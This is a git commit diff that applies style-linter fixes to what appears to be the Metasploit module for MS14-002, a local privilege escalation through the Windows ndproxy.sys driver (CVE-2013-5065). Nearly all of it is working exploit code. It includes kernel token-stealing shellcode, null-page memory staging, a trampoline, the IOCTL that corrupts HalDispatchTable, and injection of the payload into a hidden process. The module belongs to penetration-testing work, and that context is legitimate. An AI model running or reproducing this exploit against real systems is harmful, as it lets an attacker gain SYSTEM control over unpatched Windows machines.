Apply rubocop suggestions for ms_ndproxy
parent
86e2377218
commit
a523898909
|
@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
def initialize(info = {})
|
||||
super(update_info(info, {
|
||||
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
|
||||
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
|
||||
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
|
||||
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
|
||||
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
|
||||
work the service "Routing and Remote Access" must be running on the target system.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -42,15 +42,15 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
[ 'Windows XP SP3',
|
||||
['Automatic', {}],
|
||||
['Windows XP SP3',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
||||
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
|
||||
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
|
||||
}
|
||||
],
|
||||
[ 'Windows Server 2003 SP2',
|
||||
['Windows Server 2003 SP2',
|
||||
{
|
||||
'HaliQuerySystemInfo' => 0x1fa1e,
|
||||
'_KPROCESS' => "\x38",
|
||||
|
@ -71,38 +71,36 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-5065' ],
|
||||
[ 'MSB', 'MS14-002' ],
|
||||
[ 'OSVDB' , '100368'],
|
||||
[ 'BID', '63971' ],
|
||||
[ 'EDB', '30014' ],
|
||||
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
|
||||
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
|
||||
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
|
||||
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
|
||||
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
|
||||
%w(CVE 2013-5065),
|
||||
%w(MSB MS14-002),
|
||||
%w(OSVDB 100368),
|
||||
%w(BID 63971),
|
||||
%w(EDB 30014),
|
||||
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
|
||||
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
|
||||
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
|
||||
%w(URL http://www.secniu.com/blog/?p=53),
|
||||
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
|
||||
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
|
||||
],
|
||||
'DisclosureDate'=> 'Nov 27 2013',
|
||||
'DisclosureDate' => 'Nov 27 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
end
|
||||
|
||||
def ring0_shellcode(t)
|
||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
|
||||
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
||||
return ring0_shellcode
|
||||
ring0_shellcode
|
||||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
unless proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
vprint_error('Failed to write contents to memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
end
|
||||
|
||||
return address
|
||||
address
|
||||
end
|
||||
|
||||
def create_proc
|
||||
|
@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
# run hidden
|
||||
begin
|
||||
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
# when running from the Adobe Reader sandbox:
|
||||
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||
return nil
|
||||
end
|
||||
|
||||
return proc.pid
|
||||
proc.pid
|
||||
end
|
||||
|
||||
def disclose_addresses(t)
|
||||
|
@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
hal_dispatch_table = find_haldispatchtable
|
||||
return nil if hal_dispatch_table.nil?
|
||||
addresses["halDispatchTable"] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
|
||||
addresses['halDispatchTable'] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
||||
|
||||
vprint_status("Getting the hal.dll Base Address...")
|
||||
hal_info = find_sys_base("hal.dll")
|
||||
vprint_status('Getting the hal.dll Base Address...')
|
||||
hal_info = find_sys_base('hal.dll')
|
||||
if hal_info.nil?
|
||||
vprint_error("Failed to disclose hal.dll Base Address")
|
||||
vprint_error('Failed to disclose hal.dll Base Address')
|
||||
return nil
|
||||
end
|
||||
hal_base = hal_info[0]
|
||||
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
||||
|
||||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||||
addresses["HaliQuerySystemInfo"] = hali_query_system_information
|
||||
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
||||
|
||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
|
||||
return addresses
|
||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
||||
addresses
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
|
||||
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||
return Exploit::CheckCode::Safe if handle.nil?
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo["OS"]
|
||||
os = sysinfo['OS']
|
||||
case os
|
||||
when /windows xp.*service pack 3/i
|
||||
return Exploit::CheckCode::Appears
|
||||
|
@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo['Architecture'] =~ /x64/
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
print_status('Detecting the target system...')
|
||||
os = sysinfo['OS']
|
||||
if os =~ /windows xp.*service pack 3/i
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
|
||||
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
||||
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
|
@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
||||
end
|
||||
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
|
||||
print_status('Checking device...')
|
||||
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
|
||||
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
|
||||
else
|
||||
print_good("\\\\.\\NDProxy found!")
|
||||
print_good('\\\\.\\NDProxy found!')
|
||||
end
|
||||
|
||||
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
|
||||
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
|
||||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
||||
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
|
||||
else
|
||||
print_good("Addresses successfully disclosed.")
|
||||
print_good('Addresses successfully disclosed.')
|
||||
end
|
||||
|
||||
|
||||
print_status("Storing the kernel stager on memory...")
|
||||
print_status('Storing the kernel stager in memory...')
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode(my_target)
|
||||
kernel_shell_address = 0x1000
|
||||
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||
else
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Storing the trampoline to the kernel stager on memory...")
|
||||
print_status('Storing the trampoline to the kernel stager on memory...')
|
||||
trampoline = "\x90" * 0x38 # nops
|
||||
trampoline << "\x68" # push opcode
|
||||
trampoline << [0x1000].pack("V") # address to push
|
||||
trampoline << [0x1000].pack('V') # address to push
|
||||
trampoline << "\xc3" # ret
|
||||
trampoline_addr = 0x1
|
||||
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
|
||||
else
|
||||
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Storing the IO Control buffer on memory...")
|
||||
print_status('Storing the IO Control buffer on memory...')
|
||||
buffer = "\x00" * 1024
|
||||
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
|
||||
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
|
||||
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
|
||||
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
|
||||
buffer_addr = 0x0d0d0000
|
||||
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
|
||||
else
|
||||
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||
magic_ioctl = 0x8fff23c8
|
||||
# Values taken from the exploit in the wild, see references
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
fail_with(Failure::Unknown, 'The exploitation was not successful')
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_good("Exploitation successful! Creating a new process and launching payload...")
|
||||
print_good('Exploitation successful! Creating a new process and launching payload...')
|
||||
new_pid = create_proc
|
||||
|
||||
if new_pid.nil?
|
||||
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
|
||||
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
|
||||
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
|
||||
if execute_shellcode(p, nil, new_pid)
|
||||
print_good("Enjoy")
|
||||
print_good('Enjoy')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue